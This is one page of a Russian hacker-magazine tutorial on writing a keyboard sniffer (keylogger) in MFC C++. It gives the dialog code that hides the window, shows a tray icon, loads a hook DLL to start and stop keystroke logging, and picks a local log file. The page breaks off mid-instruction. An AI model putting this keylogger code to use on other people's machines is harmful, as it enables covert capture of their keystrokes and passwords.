Высший пилотаж - пишем клавиатурный shiffer

Спецвыпуск Хакер, номер #004, стр. 004-074-3

if (m_FileName.IsEmpty())

{

AfxMessageBox("You must choose a log file before further processing", MB_OK | MB_ICONSTOP, 0);

return;

}

Он проверяет, задано ли имя файла. m_FileName - это имя, которое ты задал, когда добавлял к полю ввода строку. Если имя не задано, то выводится окно сообщения. Сразу ниже добавь такие строки:

ShowWindow(SW_HIDE);

NOTIFYICONDATA nid;

nid.cbSize = sizeof(NOTIFYICONDATA);

nid.hWnd = GetSafeHwnd();

nid.uID = IDR_MAINFRAME;

nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;

nid.uCallbackMessage = XWM_NOTIFYICON;

nid.hIcon = m_hIcon;

lstrcpyn(nid.szTip, "Invoke the SnifKbd main window", 30);

Shell_NotifyIcon(NIM_ADD, &nid);

Здесь прячется окно и рисуется иконка в tray со всплывающей подсказкой "Invoke the SnifKbd main window". Затем напиши:

hmod = LoadLibrary("hook.dll");

void (*pInit)(LPCTSTR);

pInit = (void (*)(LPCTSTR))GetProcAddress(hmod, "Init");

pInit(m_LogFile);

Непосредственно перед строками void Cxxxxxxx::Onxxxxxxx() и //TODO напиши:

HMODULE hmod;

Только что мы написали обработчик нажатия на кнопку "Начать". Теперь надо придумать, что будет делать прога при нажатии на кнопку "выбор файла". Во-первых, надо показать диалог сохранения файла под именем. Затем полученное имя скопировать в строку m_FileName и отобразить ее в поле ввода. Аналогично добавляем обработчик кнопки "выбор файла" и снизу от //TODO... пишем:

CFileDialog fdlgSave(FALSE, NULL, "keyb.log");

if (fdlgSave.DoModal() == IDOK)

{

SetDlgItemText(IDC_FILENAME, fdlgSave.GetPathName());

m_LogFile = fdlgSave.GetPathName();

}

Это весь код для второй кнопки.

Осталась не прописана одна вещь: ответ на щелчок юзера в иконке в tray'е. Надо поэтому написать обработчик и этого события. Так как он не связан с какими-либо элементами главного окна, добавлять его придется по-другому.

Сначала надо открыть вкладку ClassView в окне проекта в левой части экрана. Открыть дерево и щелкнуть правой кнопкой на элемент CxxxxxxDlg, но не CAboutDlg. В выползшем меню выбрать пункт Add Member Function. Появится окно, в котором в поле Function Type введи afx_msg LRESULT, в поле Function Declaration - OnNotifyIcon(WPARAM wParam, LPARAM lParam) (7.jpg). Нажми OK. Появится опять окно исходника. После //TODO... напиши код:

UINT uID = (UINT) wParam;

UINT uMsg = (UINT) lParam;

if (uMsg == WM_LBUTTONDOWN)

if (uID == IDR_MAINFRAME)

{

ShowWindow(SW_SHOW);

SetFocus();

NOTIFYICONDATA nid;

nid.cbSize = sizeof(NOTIFYICONDATA);

nid.hWnd = GetSafeHwnd();

nid.uID = IDR_MAINFRAME;

Shell_NotifyIcon(NIM_DELETE, &nid);

void (*pRelease)();

pRelease = (void (*)())GetProcAddress(hmod, "Release");

pRelease();

}

return 1;

Этот участок проги выводит главное окно на экран (6-я, 7-я строчки), убирает значок из tray (строчки 8-12) и отменяет слежение за клавой (строчки 13-15). Чтобы этот обработчик работал, найди в открытом файле строчку BEGIN_MESSAGE_MAP(CxxxxxDlg, CDialog), но не BEGIN_MESSAGE_MAP(CAboutDlg, CDialog), и после нее напиши:

Назад на стр. 004-074-2  Содержание  Вперед на стр. 004-074-4

ttfb: 2.363920211792 ms